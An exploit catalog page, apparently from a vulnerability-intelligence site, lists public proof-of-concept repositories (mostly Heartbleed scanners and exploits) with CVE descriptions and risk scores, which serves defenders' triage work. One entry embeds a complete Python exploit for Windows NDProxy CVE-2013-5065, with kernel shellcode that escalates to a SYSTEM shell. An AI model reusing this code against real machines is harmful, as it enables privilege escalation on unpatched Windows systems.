Public exploitation

Exploit catalog

Every public exploit we catalog, in one index. Search by CVE, exploit name or technology — and see, right beside it, what the flaw is actually worth: severity, exploitation probability, and whether it’s already under attack.

77,058cataloged exploits

35,300CVEs with public exploitation

24,695lab-tested

All Exploit-DB 24,451Referência 22,175GitHub PoC 14,096VulnCheck XDB 8,607Nuclei 4,255Metasploit 3,474✓ verified onlyrecent popular risk

14,096 exploits

GitHub PoC★ 1

OpenSSL Heartbleed (CVE-2014-0160) Fix script

CVE-2014-0160HIGHunder attack10 Apr 2014

The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe

100RISK

GitHub PoC

CVE-2014-0160 mass test against subdomains

CVE-2014-0160HIGHunder attack10 Apr 2014

The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe

100RISK

GitHub PoC

ice-security88/CVE-2014-0160

CVE-2014-0160HIGHunder attack10 Apr 2014

The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe

100RISK

GitHub PoC★ 2

This repo contains a script to automatically test sites for vulnerability to the Heartbleed Bug (CVE-2014-0160) based on the input file for the urls.

CVE-2014-0160HIGHunder attack10 Apr 2014

The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe

100RISK

GitHub PoC★ 2

Test CIDR blocks for CVE-2014-0160/Heartbleed

CVE-2014-0160HIGHunder attack10 Apr 2014

The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe

100RISK

GitHub PoC★ 8

Heartbleed variants

CVE-2014-0160HIGHunder attack10 Apr 2014

The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe

100RISK

GitHub PoC

Chrome extension that automatically checks visited sites for vulnerability to OpenSSL CVE-2014-0160

CVE-2014-0160HIGHunder attack09 Apr 2014

The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe

100RISK

GitHub PoC★ 2

Checks for vulnerabilities: CVE-2014-0160

CVE-2014-0160HIGHunder attack09 Apr 2014

The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe

100RISK

GitHub PoC★ 1

A firefox extension and checker for CVE-2014-0160

CVE-2014-0160HIGHunder attack09 Apr 2014

The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe

100RISK

GitHub PoC★ 170

Test for SSL heartbeat vulnerability (CVE-2014-0160)

CVE-2014-0160HIGHunder attack09 Apr 2014

The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe

100RISK

GitHub PoC

Nmap NSE script that discovers/exploits Heartbleed/CVE-2014-0160

CVE-2014-0160HIGHunder attack08 Apr 2014

The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe

100RISK

GitHub PoC★ 572

Multi-threaded tool for scanning many hosts for CVE-2014-0160.

CVE-2014-0160HIGHunder attack08 Apr 2014

The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe

100RISK

GitHub PoC★ 19

Patch openssl #heartbleed with ansible

CVE-2014-0160HIGHunder attack08 Apr 2014

The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe

100RISK

GitHub PoC★ 2

Mass, multithreaded testing for servers against Heartbleed (CVE-2014-0160).

CVE-2014-0160HIGHunder attack08 Apr 2014

The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe

100RISK

GitHub PoC

obayesshelton/CVE-2014-0160-Scanner

CVE-2014-0160HIGHunder attack08 Apr 2014

The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe

100RISK

GitHub PoC★ 7

bleed is a tool to test servers for the 'Heartbleed' vulnerability (CVE-2014-0160).

CVE-2014-0160HIGHunder attack08 Apr 2014

The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe

100RISK

GitHub PoC★ 452

OpenSSL CVE-2014-0160 Heartbleed vulnerability test

CVE-2014-0160HIGHunder attack08 Apr 2014

The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe

100RISK

GitHub PoC

openssl Heart Bleed Exploit: CVE-2014-0160 Mass Security Auditor

CVE-2014-0160HIGHunder attack08 Apr 2014

The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe

100RISK

GitHub PoC★ 40

OpenSSL TLS heartbeat read overrun (CVE-2014-0160)

CVE-2014-0160HIGHunder attack08 Apr 2014

The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe

100RISK

GitHub PoC★ 330

Heartbleed (CVE-2014-0160) client exploit

CVE-2014-0160HIGHunder attack08 Apr 2014

The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe

100RISK

GitHub PoC★ 2,389

A checker (site and tool) for CVE-2014-0160

CVE-2014-0160HIGHunder attack07 Apr 2014

The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe

100RISK

GitHub PoC★ 3

Attempts to exploit CVE-2012-3137 on vulnerable Oracle servers

CVE-2012-3137—29 Mar 2014

The authentication protocol in Oracle Database Server 10.2.0.3, 10.2.0.4, 10.2.0.5, 11.1.0.7, 11.2.0.2, and 11.2.0.3 all

35RISK

GitHub PoC★ 8

Android Data Stealing Vulnerability

CVE-2010-4804—06 Feb 2014

The Android browser in Android before 2.3.4 allows remote attackers to obtain SD card contents via crafted content:// UR

43RISK

GitHub PoC★ 199

Linux local root exploit for CVE-2014-0038

CVE-2014-0038—02 Feb 2014

The compat_sys_recvmmsg function in net/compat.c in the Linux kernel before 3.13.2, when CONFIG_X86_X32 is enabled, allo

50RISK

GitHub PoC★ 8

Automated exploit for CVE-2012-3153 / CVE-2012-3152

CVE-2012-3153—28 Jan 2014

Unspecified vulnerability in the Oracle Reports Developer component in Oracle Fusion Middleware 11.1.1.4, 11.1.1.6, and

60RISK

GitHub PoC★ 12

Using CVE-2013-6282 to bypass Samsung kernel module authentication

CVE-2013-6282HIGHunder attack21 Dec 2013

The (1) get_user and (2) put_user API functions in the Linux kernel before 3.5.5 on the v6k and v7 ARM platforms do not

98RISK

GitHub PoC

# NDPROXY Local SYSTEM privilege escalation # http://www.offensive-security.com # Tested on Windows XP SP3 # http://www.offensive-security.com/vulndev/ndproxy-local-system-exploit-cve-2013-5065/ # Original crash ... null pointer dereference # Access violation - code c0000005 (!!! second chance !!!) # 00000038 ?? ??? from ctypes import * from ctypes.wintypes import * import os, sys kernel32 = windll.kernel32 ntdll = windll.ntdll GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 FILE_SHARE_READ = 0x00000001 FILE_SHARE_WRITE = 0x00000002 NULL = 0x0 OPEN_EXISTING = 0x3 PROCESS_VM_WRITE = 0x0020 PROCESS_VM_READ = 0x0010 MEM_COMMIT = 0x00001000 MEM_RESERVE = 0x00002000 MEM_FREE = 0x00010000 PAGE_EXECUTE_READWRITE = 0x00000040 PROCESS_ALL_ACCESS = 2097151 FORMAT_MESSAGE_FROM_SYSTEM = 0x00001000 baseadd = c_int(0x00000001) MEMRES = (0x1000 | 0x2000) MEM_DECOMMIT = 0x4000 PAGEEXE = 0x00000040 null_size = c_int(0x1000) STATUS_SUCCESS = 0 def log(msg): print msg def getLastError(): """[-] Format GetLastError""" buf = create_string_buffer(2048) if kernel32.FormatMessageA(FORMAT_MESSAGE_FROM_SYSTEM, NULL, kernel32.GetLastError(), 0, buf, sizeof(buf), NULL): log(buf.value) else: log("[-] Unknown Error") print "[*] Microsoft Windows NDProxy CVE-2013-5065 0day" print "[*] Vulnerability found in the wild" print "[*] Coded by Offensive Security" tmp = ("\x00"*4)*5 + "\x25\x01\x03\x07" + "\x00"*4 + "\x34\x00\x00\x00" + "\x00"*(84-24) InBuf = c_char_p(tmp) dwStatus = ntdll.NtAllocateVirtualMemory(0xFFFFFFFF, byref(baseadd), 0x0, byref(null_size), MEMRES, PAGEEXE) if dwStatus != STATUS_SUCCESS: print "[+] Something went wrong while allocating the null paged memory: %s" % dwStatus getLastError() written = c_ulong() sh = "\x90\x33\xC0\x64\x8B\x80\x24\x01\x00\x00\x8B\x40\x44\x8B\xC8\x8B\x80\x88\x00\x00\x00\x2D\x88\x00\x00\x00\x83\xB8\x84\x00\x00\x00\x04\x75\xEC\x8B\x90\xC8\x00\x00\x00\x89\x91\xC8\x00\x00\x00\xC3" sc = "\x90"*0x38 + "\x3c\x00\x00\x00" + "\x90"*4 + sh + "\xcc"*(0x400-0x3c-4-len(sh)) alloc = kernel32.WriteProcessMemory(0xFFFFFFFF, 0x00000001, sc, 0x400, byref(written)) if alloc == 0: print "[+] Something went wrong while writing our junk to the null paged memory: %s" % alloc getLastError() dwRetBytes = DWORD(0) DEVICE_NAME = "\\\\.\\NDProxy" hdev = kernel32.CreateFileA(DEVICE_NAME, 0, 0, None, OPEN_EXISTING , 0, None) if hdev == -1: print "[-] Couldn't open the device... :(" sys.exit() kernel32.DeviceIoControl(hdev, 0x8fff23cc, InBuf, 0x54, InBuf, 0x24, byref(dwRetBytes), 0) kernel32.CloseHandle(hdev) print "[+] Spawning SYSTEM Shell..." os.system("start /d \"C:\\windows\\system32\" cmd.exe")

CVE-2013-5065HIGHunder attack07 Dec 2013

NDProxy.sys in the kernel in Microsoft Windows XP SP2 and SP3 and Server 2003 SP2 allows local users to gain privileges

98RISK

GitHub PoC★ 8

CVE-2013-6282 exploit

CVE-2013-6282HIGHunder attack28 Nov 2013

The (1) get_user and (2) put_user API functions in the Linux kernel before 3.5.5 on the v6k and v7 ARM platforms do not

98RISK

GitHub PoC★ 27

CVE-2013-6282 exploit

CVE-2013-6282HIGHunder attack18 Nov 2013

The (1) get_user and (2) put_user API functions in the Linux kernel before 3.5.5 on the v6k and v7 ARM platforms do not

98RISK

GitHub PoC★ 410

Debian OpenSSL Predictable PRNG (CVE-2008-0166)

CVE-2008-0166—22 Sep 2013

OpenSSL 0.9.8c-1 up to versions before 0.9.8g-9 on Debian-based operating systems uses a random number generator that ge

45RISK

We index only the public link to the proof of concept — we never host or redistribute exploitation code. Sources: PoC-in-GitHub, Exploit-DB, Nuclei, Metasploit and VulnCheck XDB. A public PoC existing does not mean the flaw is exploitable in your environment.